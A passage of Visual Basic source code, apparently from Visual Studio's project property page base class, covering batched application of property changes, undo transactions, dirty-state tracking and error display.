is that some generators use the IVsProjectBuildSystem batching ' mechanism, and since it doesn't check the ILangPropertyProvideBatchUpdate ' batch lock count, the project-system applies changes when the generator ' releases its batch lock count, even if we're still in the middle of setting ' properties. To guard against that, we need to lock both batch mechanisms. ' If (vsProjectBuildSystem IsNot Nothing) Then vsProjectBuildSystem.StartBatchEdit() End If 'Batch up property changes. This does not affect how properties are persisted, but rather it tells the project system ' to wait until all changes have been made before notifying the compiler of the changes. This keeps the compiler from ' doing things like restarting compilation several times in a row, if multiple properties have been changed. 'Note that this must happen before PreApplyPageChanges BatchObjects = New Interop.ILangPropertyProvideBatchUpdate(RawPropertiesObjectsOfAllProperties.Length - 1 + 1) {} '+1 for CommonPropertiesObject Dim i As Integer = 0 Dim BatchObject As Interop.ILangPropertyProvideBatchUpdate 'First the common properties object BatchObject = TryCast(CommonPropertiesObject, Interop.ILangPropertyProvideBatchUpdate) If BatchObject IsNot Nothing Then Try BatchObject.BeginBatch() BatchObjects(i) = BatchObject Catch ex As Exception When Not Common.IsUnrecoverable(ex) Debug.Fail("ILangPropertyProvideBatchUpdate.BeginBatch() failed, ignoring: " & ex.ToString) End Try End If '... then individual objects from SetObjects i += 1 For Each Obj As Object In RawPropertiesObjectsOfAllProperties BatchObject = TryCast(Obj, Interop.ILangPropertyProvideBatchUpdate) If BatchObject IsNot Nothing Then Try BatchObject.BeginBatch() BatchObjects(i) = BatchObject Catch ex As Exception When Not Common.IsUnrecoverable(ex) Debug.Fail("ILangPropertyProvideBatchUpdate.BeginBatch() failed, ignoring: " & ex.ToString) End Try End If i += 1 Next PreApplyPageChanges() If m_ProjectReloadedDuringCheckout Then Return End If Transaction = GetTransaction() For Each _controlData As PropertyControlData In ControlData Dim ProjectMayBeReloadedDuringPropertySet As Boolean = (0 <> (_controlData.GetFlags() And ControlDataFlags.ProjectMayBeReloadedDuringPropertySet)) 'Track the current control for determining which control focus 'should be returned when an exception occurs control = _controlData.FormControl 'Apply any changes Try Debug.Assert(_controlData.DispId >= 0) _controlData.ApplyChanges() Catch ex As ProjectReloadedException 'If setting a property causes the project to get reloaded, ' exit ASAP. Our project references are now invalid. Debug.Assert(ProjectReloadedDuringCheckout, "This should already have been set") m_ProjectReloadedDuringCheckout = True If ProjectMayBeReloadedDuringPropertySet Then ProjectReloadWasValid = True End If 'Check if there any any other pending property changes on this page (this shouldn't ' happen if the advice in VerifyPropertiesWhichMayReloadProjectAreLast is ' followed, unless there's more than one property on a page which can cause a ' project reload). For Each cd As PropertyControlData In ControlData If cd IsNot _controlData AndAlso cd.IsDirty Then ShowErrorMessage(SR.GetString(SR.PPG_ProjectReloadedSomePropertiesMayNotHaveBeenSet)) Exit For End If Next Throw Catch ex As Exception When Not Common.IsUnrecoverable(ex) 'Be sure to set the inner exception, so that if it was a checkout cancel, the ' message box later knows to ignore it. If TypeOf ex Is System.Reflection.TargetInvocationException Then ex = ex.InnerException End If Throw New ValidationException(ValidationResult.Failed, _controlData.DisplayPropertyName & ":" & vbCrLf & ex.Message, control, innerexception:=ex) End Try Next _controlData 'Clear 'control' to prevent setting focus inside Finally control = Nothing PostApplyPageChanges() CommitTransaction(Transaction) Succeeded = True Catch ex As ProjectReloadedException 'Just exit as soon as possible Return Catch ex As Exception If Transaction IsNot Nothing Then Transaction.Cancel() End If Throw Finally m_fIsApplying = False If m_ProjectReloadedDuringCheckout Then Debug.Assert(ProjectReloadWasValid, "The project was reloaded during an attempt to change properties. This might" _ & " indicate that SCC updated the file during a checkout. But that implies that we didn't check out all necessary" _ & " files before trying to change the property. Please check that all PropertyControlData have the correct set of necessary" _ & " files. If setting this property can validly cause the project to get reloaded, such as is the case for the" _ & " TargetFramework property, then be sure the property's PropertyControlData has the ProjectMayBeReloadedDuringPropertySet" _ & " flag.") Else 'Notify batch update that we're done changing property values. If BatchObjects IsNot Nothing Then For Each BatchObject As Interop.ILangPropertyProvideBatchUpdate In BatchObjects If BatchObject IsNot Nothing Then Try BatchObject.EndBatch() Catch ex As Exception When Not Common.IsUnrecoverable(ex) 'This will fail if there are build problems or validation problems when the project system ' tries to persist the requested property changes to the build system. Sometimes this indicates ' a problem with the project file or the project system. Other times it's simply a result ' of the fact that the project system isn't able to validate all properties fully until they're ' sent to the compiler. 'We shouldn't throw an exception here, because that would cause problems with the page and ' we would likely continue getting this same error every time any additional property change ' is made. Normally there will be an error on compilation if an invalid property has been ' passed to the compiler. So our best bet is to ignore exceptions if they occur. Trace.WriteLine("ILangPropertyProvideBatchUpdate.EndBatch failed, ignoring:" & vbCrLf & Common.DebugMessageFromException(ex)) End Try End If Next End If ' unlock this one last because ILangPropertyProvideBatchUpdate checks the ' IVsProjectBuildSystem batch lock count before applying properties, but ' IVsProjectBuildSystem does not check ILangPropertyProvideBatchUpdate's ' batch lock count, so by freeing this one last, we make the best attempt ' at ensuring properties get pushed into the compiler only once. ' If vsProjectBuildSystem IsNot Nothing Then Try 'If m_DeactivateDuringApply = True, then the following may assert about the project being uninitialized. ' In reality, it is zombied, and in this scenario the assertion can be ignored. vsProjectBuildSystem.EndBatchEdit() Catch ex As Exception When Not Common.IsUnrecoverable(ex) 'This will fail if there are build problems or validation problems when the project system ' tries to persist the requested property changes to the build system. Sometimes this indicates ' a problem with the project file or the project system. Other times it's simply a result ' of the fact that the project system isn't able to validate all properties fully until they're ' sent to the compiler. 'We shouldn't throw an exception here, because that would cause problems with the page and ' we would likely continue getting this same error every time any additional property change ' is made. Normally there will be an error on compilation if an invalid property has been ' passed to the compiler. So our best bet is to ignore exceptions if they occur. Trace.WriteLine("IVsProjectBuildSystem.EndBatchEdit failed, ignoring:" & vbCrLf & Common.DebugMessageFromException(ex)) End Try End If 'NOTE: It's possible for source code control to have updated the project file ' while we were trying to set a property. In this case, m_Site may now be Nothing, so ' we have to guard against its use. And we should shut down as quickly as possible if ' this does happen. We normally try to avoid this scenario by checking the files out first, but we're being defensive. If m_Site Is Nothing Then Debug.Fail("How did the site get removed if not because of a dispose during apply?") End If If m_Site IsNot Nothing Then If control IsNot Nothing Then control.Focus() End If 'Are we still dirty? m_IsDirty = False 'Setting to false beforehand causes notification on IsDirty assignment when still dirty Dim ShouldBeDirty As Boolean = IsAnyPropertyDirty() If Not Succeeded AndAlso Not m_Site.IsImmediateApply() Then 'If the page is not immediate apply, and the apply did not succeed, we need to keep the page ' dirty. It's possible the page was marked dirty separately of any property (e.g. the ' Unused References dialog), and if the page is not dirty, the next OK click will have no effect. ShouldBeDirty = True End If IsDirty = ShouldBeDirty CheckPlayCachedPropertyChanges() End If End If 'If m_ProjectReloadedDuringCheckout Then ... End Try Catch validateEx As ValidationException If Not m_ProjectReloadedDuringCheckout AndAlso m_Site IsNot Nothing Then If validateEx.InnerException IsNot Nothing _ AndAlso (Common.IsCheckoutCanceledException(validateEx.InnerException) OrElse TypeOf validateEx.InnerException Is CheckoutException) Then 'If there was a check-out exception, it's possible some of the ' properties are in a half-baked state. For an immediate-apply page, ' it's not appropriate to have UI that's in an incorrect state, so restore ' all the properties to their original state, and reset the dirty state of the ' properties and the page. For immediate apply, the user has to click OK/Cancel ' so this is not an issue there. If m_Site.IsImmediateApply Then Try RestoreInitialValues() Catch ex As Exception When Not Common.IsUnrecoverable(ex) Debug.Fail("Exception occurred trying to refresh all properties' UI: " & ex.ToString) End Try End If End If validateEx.RestoreFocus() End If Throw Finally m_fIsApplying = False LeaveProjectCheckoutSection() End Try End Sub ''' <summary> ''' Get a localized name for the undo transaction. This name appears in the ''' Undo/Redo history dropdown in Visual Studio. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Public Overridable Function GetTransactionDescription() As String Dim Description As String Dim PropertyNames As String = Nothing 'Currently we generate a string like this: ' ' "Change Property: <propname1>, <propname2>, ..." ' For Each _controlData As PropertyControlData In ControlData If _controlData.IsDirty Then If PropertyNames = "" Then PropertyNames = _controlData.DisplayPropertyName Else PropertyNames = PropertyNames & ", " & _controlData.DisplayPropertyName 'CONSIDER: localize comma delimiter? End If #If DEBUG Then If Common.Switches.PDUndo.TraceWarning Then PropertyNames &= " [OldValue=" & Common.Utils.DebugToString(_controlData.InitialValue) & "] " End If #End If End If Next _controlData Description = SR.GetString(SR.PPG_UndoTransaction, New String() {PropertyNames}) Return Description End Function Public Overridable Function GetTransaction() As DesignerTransaction If Me.m_PropPageUndoSite IsNot Nothing Then Dim Description As String = GetTransactionDescription() Return m_PropPageUndoSite.GetTransaction(Description) End If Return Nothing End Function Public Overridable Sub CommitTransaction(ByVal Transaction As DesignerTransaction) If Transaction IsNot Nothing Then Transaction.Commit() End If End Sub ''' <summary> ''' This is fired before a property has been updated in the project system either through direct ''' interaction with the UI by the user, or by the property page code. Does not fire in response ''' to changes that take place as a result of code unrelated to the property pages (i.e., through ''' DTE manipulation by other code). Required for Undo/Redo support. ''' </summary> ''' <param name="PropertyName"></param> ''' <param name="PropDesc"></param> ''' <remarks></remarks> Public Overridable Sub OnPropertyChanging(ByVal PropertyName As String, ByVal PropDesc As PropertyDescriptor) If Me.m_PropPageUndoSite IsNot Nothing Then m_PropPageUndoSite.OnPropertyChanging(PropertyName, PropDesc) End If End Sub ''' <summary> ''' This is fired after a property has been updated in the project system either through direct ''' interaction with the UI by the user, or by the property page code. Does not fire in response ''' to changes that take place as a result of code unrelated to the property pages (i.e., through ''' DTE manipulation by other code). Required for Undo/Redo support. ''' </summary> ''' <param name="PropertyName"></param> ''' <remarks></remarks> Public Overridable Sub OnPropertyChanged(ByVal PropertyName As String, ByVal PropDesc As PropertyDescriptor, ByVal OldValue As Object, ByVal NewValue As Object) If Me.m_PropPageUndoSite IsNot Nothing Then m_PropPageUndoSite.OnPropertyChanged(PropertyName, PropDesc, OldValue, NewValue) End If End Sub ''' <summary> ''' Overridable sub to allow derived page processing ''' after apply button processing has been done. ''' </summary> ''' <param name="ApplySuccessful"></param> ''' <remarks> ''' This is where the page would be refreshed to reflect any changes made in the data. ''' Called only after all processing has been done. ''' </remarks> Protected Overridable Sub OnApplyComplete(ByVal ApplySuccessful As Boolean) End Sub ''' <summary> ''' Called by ApplyChanges after property values have been updated, ''' but before ILangPropertyProvideBatchUpdate.EndBatch. ''' </summary> ''' <remarks></remarks> Protected Overridable Sub PostApplyPageChanges() End Sub #End Region #Region "Page Initialization code" ''' <summary> ''' Customizable processing done before the class has populated controls in the ControlData array ''' </summary> ''' <remarks> ''' Override this to implement custom processing. ''' IMPORTANT NOTE: this method can be called multiple times on the same page. In particular, ''' it is called on every SetObjects call, which means that when the user changes the ''' selected configuration, it is called again. ''' </remarks> Protected Overridable Sub PreInitPage() End Sub ''' <summary> ''' This procedure is called to populate the property values in the UI ''' </summary> ''' <remarks>This is not usually overridden. Derived pages should normally ''' only override PreInitPage and PostInitPage</remarks> Protected Overridable Sub InitPage() PreInitPage() 'Initialize all the property values so they are accessible 'in user callbacks For Each _controlData As PropertyControlData In ControlData _controlData.InitPropertyValue() Next _controlData 'Now update the UI with the property data For Each _controlData As PropertyControlData In ControlData _controlData.InitPropertyUI() Next _controlData PostInitPage() End Sub ''' <summary> ''' Customizable processing done after base class has populated controls in the ControlData array ''' </summary> ''' <remarks> ''' Override this to implement custom processing. ''' IMPORTANT NOTE: this method can be called multiple times on the same page. In particular, ''' it is called on every SetObjects call, which means that when the user changes the ''' selected configuration, it is called again. ''' </remarks> Protected Overridable Sub PostInitPage() End Sub #End Region #Region "Property getter/setter helpers" ''' <summary> ''' Returns the PropertyDescriptor given the name of the property. ''' </summary> ''' <param name="PropertyName">Name of the property requested.</param> ''' <returns>The PropertyDescriptor for the property.</returns> ''' <remarks></remarks> Protected Function GetPropertyDescriptor(ByVal PropertyName As String) As PropertyDescriptor Return m_ObjectsPropertyDescriptorsArray(0)(PropertyName) End Function #End Region #Region "Common property getter/setter helpers" ' ' ' See "About 'common' properties" in PropertyControlData for information on "common" properties. ' ' ''' <summary> ''' Returns the PropertyDescriptor of a common property using the name of the property ''' </summary> ''' <param name="PropertyName"></param> ''' <returns></returns> ''' <remarks> ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. ''' </remarks> Public Function GetCommonPropertyDescriptor(ByVal PropertyName As String) As PropertyDescriptor Return m_CommonPropertyDescriptors.Item(PropertyName) End Function ''' <summary> ''' Retrieves the current value of this property in the project (not the current value in the ''' control on the property page as it has been edited by the user). ''' No type conversion is performed on the return value. ''' </summary> ''' <returns></returns> ''' <remarks> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. ''' </remarks> Protected Function GetCommonPropertyValueNative(ByVal prop As PropertyDescriptor) As Object Dim commonPropObject as Object = CommonPropertiesObject If commonPropObject IsNot Nothing Then Return PropertyControlData.GetCommonPropertyValueNative(prop, commonPropObject) Else Throw New InvalidOperationException("CommonPropertiesObject is not set") End If End Function ''' <summary> ''' Retrieves the current value of a property in the project (not the current value in the ''' control on the property page as it has been edited by the user). ''' No type conversion is performed on the return value. ''' </summary> ''' <returns></returns> ''' <remarks> ''' This must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. ''' </remarks> Protected Function GetCommonPropertyValueNative(ByVal PropertyName As String) As Object Return GetCommonPropertyValueNative(GetCommonPropertyDescriptor(PropertyName)) End Function ''' <summary> ''' Retrieves the current value of a property in the project (not the current value ''' in the control on the property page as it has been edited by the user). ''' The value retrieved is converted using the property's type converter. ''' </summary> ''' <returns></returns> ''' <remarks> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. ''' </remarks> Protected Function GetCommonPropertyValue(ByVal prop As PropertyDescriptor) As Object Return PropertyControlData.GetCommonPropertyValue(prop, Me.CommonPropertiesObject) End Function ''' <summary> ''' Retrieves the current value of a property in the project (not the current value ''' in the control on the property page as it has been edited by the user). ''' The value retrieved is converted using the property's type converter. ''' </summary> ''' <returns></returns> ''' <remarks> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. ''' </remarks> Protected Function GetCommonPropertyValue(ByVal PropertyName As String) As Object Return GetCommonPropertyValue(GetCommonPropertyDescriptor(PropertyName)) End Function ''' <summary> ''' Sets the current value of a common property (into the project system, not into the ''' control on the property page). ''' The value is first converted into native format using the property's type converter. ''' </summary> ''' <param name="Value"></param> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. Protected Sub SetCommonPropertyValue(ByVal prop As PropertyDescriptor, ByVal Value As Object) Dim _TypeConverter As TypeConverter = prop.Converter If (_TypeConverter IsNot Nothing) AndAlso _TypeConverter.GetStandardValuesSupported Then Value = _TypeConverter.ConvertFrom(Value) End If SetCommonPropertyValueNative(prop, Value) End Sub ''' <summary> ''' Sets the current value of a common property (into the project system, not into the ''' control on the property page). ''' The value is first converted into native format using the property's type converter. ''' </summary> ''' <param name="Value"></param> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. Protected Sub SetCommonPropertyValue(ByVal PropertyName As String, ByVal value As Object) SetCommonPropertyValue(GetCommonPropertyDescriptor(PropertyName), value) End Sub ''' <summary> ''' Sets the current value of a common property (into the project system, not into the ''' control on the property page). ''' The value is first converted into native format using the property's type converter. ''' </summary> ''' <param name="Value"></param> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. Protected Sub SetCommonPropertyValueNative(ByVal prop As PropertyDescriptor, ByVal Value As Object) SuspendPropertyChangeListening(DISPID_UNKNOWN) Try PropertyControlData.SetCommonPropertyValueNative(prop, Value, Me.CommonPropertiesObject) Finally ResumePropertyChangeListening(DISPID_UNKNOWN) End Try End Sub ''' <summary> ''' Sets the current value of a common property (into the project system, not into the ''' control on the property page). ''' The value is first converted into native format using the property's type converter. ''' </summary> ''' <param name="Value"></param> ''' Must be a common property. ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. Protected Sub SetCommonPropertyValueNative(ByVal PropertyName As String, ByVal Value As Object) SuspendPropertyChangeListening(DISPID_UNKNOWN) Try SetCommonPropertyValueNative(GetCommonPropertyDescriptor(PropertyName), Value) Finally ResumePropertyChangeListening(DISPID_UNKNOWN) End Try End Sub #End Region #Region "Control getter/setter helpers" ''' <summary> ''' Gets the current value of the given property in the UI ''' </summary> ''' <param name="name"></param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetControlValue(ByVal name As String) As Object Dim pcd As PropertyControlData = GetPropertyControlData(name) Return pcd.GetControlValue() End Function ''' <summary> ''' Gets the current value of the given property in the UI. Does not ''' perform any type conversions. ''' </summary> ''' <param name="name"></param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetControlValueNative(ByVal name As String) As Object Dim pcd As PropertyControlData = GetPropertyControlData(name) Return pcd.GetControlValueNative() End Function ''' <summary> ''' Returns a single value for the current value of a property. If all of the extenders return the same value, ''' the return value of the function is that single value. If any of the values differ, then ''' PropertyControlData.Indeterminate is returned. If the property descriptor is missing, ''' PropertyControlData.MissingProperty is returned. ''' </summary> ''' <param name="Descriptor">The property descriptor for the property to get the value from</param> ''' <returns></returns> ''' <remarks></remarks> Protected Function TryGetNonCommonPropertyValue(ByVal Descriptor As PropertyDescriptor) As Object Dim extenders As Object() = Me.m_ExtendedObjects Return PropertyControlData.TryGetNonCommonPropertyValueNative(Descriptor, extenders) End Function #End Region #Region "Dirty flag detection helpers" ''' <summary> ''' Applies changes to the given control, if CanApplyNow is True. Otherwise ''' changes will be applied later when requested. ''' </summary> ''' <param name="sender"></param> ''' <remarks></remarks> Protected Sub ApplyChanges(ByVal sender As Object) If m_fInsideInit Then Return End If Debug.Assert(TypeOf sender Is System.Windows.Forms.Control, "Unexpected object type") Common.Switches.TracePDProperties(TraceLevel.Info, "ApplyChanges(" & sender.GetType.Name & ")") 'Save CanApplyNow to reset Dim SaveApplyNow As Boolean = CanApplyNow CanApplyNow = True Try For Each _controlData As PropertyControlData In ControlData If (_controlData.FormControl Is sender) AndAlso _controlData.IsDirty Then 'Control is dirty, force an apply (will only do so if immediate apply mode) IsDirty = True Exit For End If Next _controlData Finally CanApplyNow = SaveApplyNow End Try End Sub ''' <summary> ''' Marks the page as dirty. Note that individual properties ''' must be set dirty (which cause this method to be called) ''' in order for any changes to actually be applied. ''' </summary> ''' <param name="ReadyToApply">If True, the change is applied immediately (if in immediate apply mode). If False, the change is ''' not applied immediately, but rather it will be applied later, on the next apply. If multiple properties are going to be set ''' dirty, only the last SetDirty() call should pass in True for ReadyToApply. Doing it this way will cause all of the properties ''' to be changed in the same undo/redo transaction (apply batches up all current changes into a single transaction). ''' </param> ''' <remarks></remarks> Public Sub SetDirty(ByVal ReadyToApply As Boolean) If m_fInsideInit Then Return End If Common.Switches.TracePDProperties(TraceLevel.Info, "SetDirty(ReadyToApply:=" & ReadyToApply & ")") 'Save CanApplyNow to reset Dim SaveApplyNow As Boolean = CanApplyNow CanApplyNow = ReadyToApply Try IsDirty = True Finally CanApplyNow = SaveApplyNow End Try End Sub ''' <summary> ''' Marks the page as dirty. Note that individual properties ''' must be set dirty (which cause this method to be called) ''' in order for any changes to actually be applied. ''' </summary> ''' <param name="sender"></param> ''' <param name="ReadyToApply">If True, the change is applied immediately (if in immediate apply mode). If False, the change is ''' not applied immediately, but rather it will be applied later, on the next apply. If multiple properties are going to be set ''' dirty, only the last SetDirty() call should pass in True for ReadyToApply. Doing it this way will cause all of the properties ''' to be changed in the same undo/redo transaction (apply batches up all current changes into a single transaction). ''' </param> ''' <remarks></remarks> Public Sub SetDirty(ByVal sender As Object, ByVal ReadyToApply As Boolean) If m_fInsideInit Then Return End If Debug.Assert(TypeOf sender Is System.Windows.Forms.Control, "Unexpected object type") Common.Switches.TracePDProperties(TraceLevel.Info, "SetDirty(<sender>, ReadyToApply:=" & ReadyToApply & ")") 'Save CanApplyNow to reset Dim SaveApplyNow As Boolean = CanApplyNow CanApplyNow = ReadyToApply Try For Each _controlData As PropertyControlData In ControlData If _controlData.FormControl Is sender Then 'Check if the control is in a long edit (like typing a string in a textbox) ' where you would not want to immediately save until the edit was complete _controlData.IsDirty = True End If Next _controlData IsDirty = True Finally CanApplyNow = SaveApplyNow End Try End Sub ''' <summary> ''' Marks the property associated with the given control (as well as this page) ''' as dirty. ''' Note that individual properties must be set dirty (which cause this method ''' to be called) in order for any changes to actually be applied. ''' </summary> ''' <param name="sender">The control to set as dirty</param> ''' <remarks> ''' If the CanApplyNow property is true, then changes will be applied immediately. ''' </remarks> Protected Sub SetDirty(ByVal sender As Object) SetDirty(sender, CanApplyNow) End Sub ''' <summary> ''' Marks the property with the given DISPID (as well as this page) ''' as dirty. ''' Note that individual properties must be set dirty (which cause this method ''' to be called) in order for any changes to actually be applied. ''' </summary> ''' <param name="dispid">The DISPID of the property to set as dirty.</param> ''' <remarks> ''' If the CanApplyNow property is true, then changes will be applied immediately. ''' </remarks> Protected Sub SetDirty(ByVal dispid As Integer) SetDirty(dispid, CanApplyNow) End Sub ''' <summary> ''' Marks the property with the given DISPID (as well as this page) ''' as dirty. ''' Note that individual properties must be set dirty (which cause this method ''' to be called) in order for any changes to actually be applied. ''' </summary> ''' <param name="dispid">The DISPID of the property to set as dirty.</param> ''' <param name="ReadyToApply">If True, the change is applied immediately (if in immediate apply mode). If False, the change is ''' not applied immediately, but rather it will be applied later, on the next apply. If multiple properties are going to be set ''' dirty, only the last SetDirty() call should pass in True for ReadyToApply. Doing it this way will cause all of the properties ''' to be changed in the same undo/redo transaction (apply batches up all current changes into a single transaction). ''' </param> ''' <remarks></remarks> Protected Sub SetDirty(ByVal dispid As Integer, ByVal ReadyToApply As Boolean) If m_fInsideInit Then Return End If Common.Switches.TracePDProperties(TraceLevel.Info, "SetDirty(" & dispid & ", ReadyToApply:=" & ReadyToApply & ")") 'Save CanApplyNow to reset Dim SaveApplyNow As Boolean = CanApplyNow CanApplyNow = ReadyToApply Try For Each _controlData As PropertyControlData In ControlData If _controlData.DispId = dispid Then _controlData.IsDirty = True End If Next _controlData IsDirty = True Finally CanApplyNow = SaveApplyNow End Try End Sub ''' <summary> ''' Returns whether the property associated with the given control has been dirtied. ''' </summary> ''' <param name="sender"></param> ''' <returns></returns> ''' <remarks></remarks> Protected Function GetDirty(ByVal sender As Object) As Boolean Debug.Assert(TypeOf sender Is System.Windows.Forms.Control, "Unexpected object type") For Each _controlData As PropertyControlData In ControlData If _controlData.FormControl Is sender Then 'Check if the control is in a long edit (like typing a string in a textbox) ' where you would not want to immediately save until the edit was complete Return _controlData.IsDirty End If Next _controlData Throw Common.CreateArgumentException("sender") End Function ''' <summary> ''' Clears the dirty bit for all properties on this page ''' </summary> ''' <remarks></remarks> Protected Sub ClearIsDirty() IsDirty = False For Each _controlData As PropertyControlData In ControlData _controlData.IsDirty = False Next _controlData End Sub ''' <summary> ''' Returns true iff any property on this page is dirty ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Protected Function IsAnyPropertyDirty() As Boolean For Each _controlData As PropertyControlData In ControlData If _controlData.IsDirty Then Return True End If Next _controlData Return False End Function ''' <summary> ''' Enables or disables all controls associated with properties on this page. The default implementation ''' uses the information already in the PropertyControlData for the page. ''' </summary> ''' <remarks></remarks> Protected Overridable Sub EnableAllControls(ByVal _enabled As Boolean) For Each _controlData As PropertyControlData In ControlData _controlData.EnableControls(_enabled) Next _controlData End Sub ''' <summary> ''' Calls Initialize on all PropertyControlData for this page ''' </summary> ''' <remarks></remarks> Protected Sub InitializeAllProperties() #If DEBUG Then 'Verify that PropertyControlData DISPIDs are unique Dim PropIds As New List(Of Integer) For Each pcd As PropertyControlData In ControlData If PropIds.Contains(pcd.DispId) Then Debug.Fail("DISPIDs for the properties on this page are not unique - DISPID=" & pcd.DispId) Else PropIds.Add(pcd.DispId) End If Next #End If For Each pcd As PropertyControlData In ControlData pcd.Initialize(Me) Next ClearIsDirty() End Sub ''' <summary> ''' Override this method to return a property descriptor for user-defined properties in a page. ''' </summary> ''' <param name="PropertyName">The property to return a property descriptor for.</param> ''' <returns></returns> ''' <remarks> ''' This method must be overridden to handle all user-defined properties defined in a page. The easiest way to implement ''' this is to return a new instance of the UserPropertyDescriptor class, which was created for that purpose. ''' </remarks> Public Overridable Function GetUserDefinedPropertyDescriptor(ByVal PropertyName As String) As PropertyDescriptor Return Nothing End Function ''' <summary> ''' Takes a value from the property store, and converts it into the UI-displayable form ''' </summary> ''' <param name="PropertyName"></param> ''' <param name="Value"></param> ''' <returns></returns> ''' <remarks></remarks> Public Overridable Function ReadUserDefinedProperty(ByVal PropertyName As String, ByRef Value As Object) As Boolean Return False End Function ''' <summary> ''' Takes a value from the UI, converts it and writes it into the property store ''' </summary> ''' <param name="PropertyName"></param> ''' <param name="Value"></param> ''' <returns></returns> ''' <remarks></remarks> Public Overridable Function WriteUserDefinedProperty(ByVal PropertyName As String, ByVal Value As Object) As Boolean Return False End Function Protected Property CanApplyNow() As Boolean Get Return m_CanApplyNow End Get Set(ByVal Value As Boolean) m_CanApplyNow = Value End Set End Property ''' <summary> ''' Indicates whether this property page is dirty or not. ''' </summary> ''' <value></value> ''' <remarks></remarks> <Browsable(False)> _ Public Property IsDirty() As Boolean Get Return m_IsDirty End Get Set(ByVal Value As Boolean) If m_fInsideInit Then Return End If Dim StatusChangeFlags As PROPPAGESTATUS 'IF not dirty, just send clean status If Not Value Then StatusChangeFlags = PROPPAGESTATUS.Clean Or PROPPAGESTATUS.Validate ElseIf CanApplyNow Then StatusChangeFlags = PROPPAGESTATUS.Dirty Or PROPPAGESTATUS.Validate Else 'Just set dirty state, Apply should not be done at this moment StatusChangeFlags = PROPPAGESTATUS.Dirty End If m_IsDirty = Value If m_Site IsNot Nothing Then m_Site.OnStatusChange(StatusChangeFlags) End If End Set End Property #End Region ''' <summary> ''' Use to display Error message through the VSShellService ''' </summary> ''' <param name="ex">The exception to get the error message from</param> ''' <remarks></remarks> Public Sub ShowErrorMessage(ByVal ex As Exception) ShowErrorMessage(ex, ex.HelpLink) End Sub ''' <summary> ''' Use to display Error message through the VSShellService ''' </summary> ''' <param name="ex">The exception to get the error message from</param> ''' <param name="HelpLink">The help link to use</param> ''' <remarks></remarks> Protected Sub ShowErrorMessage(ByVal ex As Exception, ByVal HelpLink As String) Dim Caption As String = SR.GetString(SR.APPDES_Title) DesignerFramework.DesignerMessageBox.Show(ServiceProvider, "", ex, Caption, HelpLink) End Sub ''' <summary> ''' Use to display Error message through the VSShellService ''' </summary> ''' <param name="errorMessage">The error message to display</param> ''' <remarks></remarks> Protected Sub ShowErrorMessage(ByVal errorMessage As String) ShowErrorMessage(errorMessage, "") End Sub ''' <summary> ''' Use to display Error message through the VSShellService ''' </summary> ''' <param name="errorMessage">The error message to display</param> ''' <param name="ex">The exception to include in the message. The exception's message will be on a second line after errorMessage.</param> ''' <remarks></remarks> Protected Sub ShowErrorMessage(ByVal errorMessage As String, ByVal ex As Exception) Dim Caption As String = SR.GetString(SR.APPDES_Title) DesignerFramework.DesignerMessageBox.Show(ServiceProvider, errorMessage, ex, Caption) End Sub ''' <summary> ''' Use to display Error message through the VSShellService ''' </summary> ''' <param name="errorMessage">The error message to display</param> ''' <param name="HelpLink">The help link to use</param> ''' <remarks></remarks> Protected Sub ShowErrorMessage(ByVal errorMessage As String, ByVal HelpLink As String) Dim Caption As String = SR.GetString(SR.APPDES_Title) DesignerFramework.DesignerMessageBox.Show(ServiceProvider, errorMessage, Caption, MessageBoxButtons.OK, MessageBoxIcon.Error, MessageBoxDefaultButton.Button1, HelpLink) End Sub ''' <summary> ''' ''' </summary> ''' <value></value> ''' <remarks></remarks> <Browsable(False), _ DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Protected ReadOnly Property VsUIShellService() As IVsUIShell Get If (m_UIShellService Is Nothing) Then m_UIShellService = CType(ServiceProvider.GetService(GetType(IVsUIShell)), IVsUIShell) End If Return m_UIShellService End Get End Property ''' <summary> ''' ''' </summary> ''' <value></value> ''' <remarks></remarks> <Browsable(False), _ DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Protected ReadOnly Property VsUIShell2Service() As IVsUIShell2 Get If (m_UIShell2Service Is Nothing) Then Dim VsUiShell As IVsUIShell = Nothing If ServiceProvider IsNot Nothing Then VsUiShell = TryCast(ServiceProvider.GetService(GetType(IVsUIShell)), IVsUIShell) End If If VsUiShell IsNot Nothing Then m_UIShell2Service = TryCast(VsUiShell, IVsUIShell2) End If End If Return m_UIShell2Service End Get End Property ''' <summary> ''' ''' </summary> ''' <value></value> ''' <remarks></remarks> Protected ReadOnly Property VsUIShell5Service() As IVsUIShell5 Get If (m_UIShell5Service Is Nothing) Then Dim VsUiShell As IVsUIShell = Nothing If ServiceProvider IsNot Nothing Then VsUiShell = TryCast(ServiceProvider.GetService(GetType(IVsUIShell)), IVsUIShell) End If If VsUiShell IsNot Nothing Then m_UIShell5Service = TryCast(VsUiShell, IVsUIShell5) End If End If Return m_UIShell5Service End Get End Property ''' <summary> ''' Adds the given file to the project ''' </summary> ''' <param name="FileName">Full path to the file to add</param> ''' <remarks></remarks> Protected Overloads Function AddFileToProject(ByVal FileName As String) As EnvDTE.ProjectItem Return AddFileToProject(FileName, True) End Function ''' <summary> ''' Adds the given file to the project ''' </summary> ''' <param name="FileName">Full path to the file to add</param> ''' <param name="CopyFile">If true, the file is copied to the project using DTEProject.AddFromFileCopy, otherwise DTEProject.AddFromFile is used</param> ''' <remarks></remarks> Protected Overloads Function AddFileToProject(ByVal FileName As String, ByVal CopyFile As Boolean) As EnvDTE.ProjectItem Dim ProjectItems As EnvDTE.ProjectItems = DTEProject.ProjectItems Return AddFileToProject(DTEProject.ProjectItems, FileName, CopyFile) End Function ''' <summary> ''' Adds the given file to the ProjectItems ''' </summary> ''' <param name="ProjectItems">The ProjectsItem to add the file to</param> ''' <param name="FileName">Full path to the file to 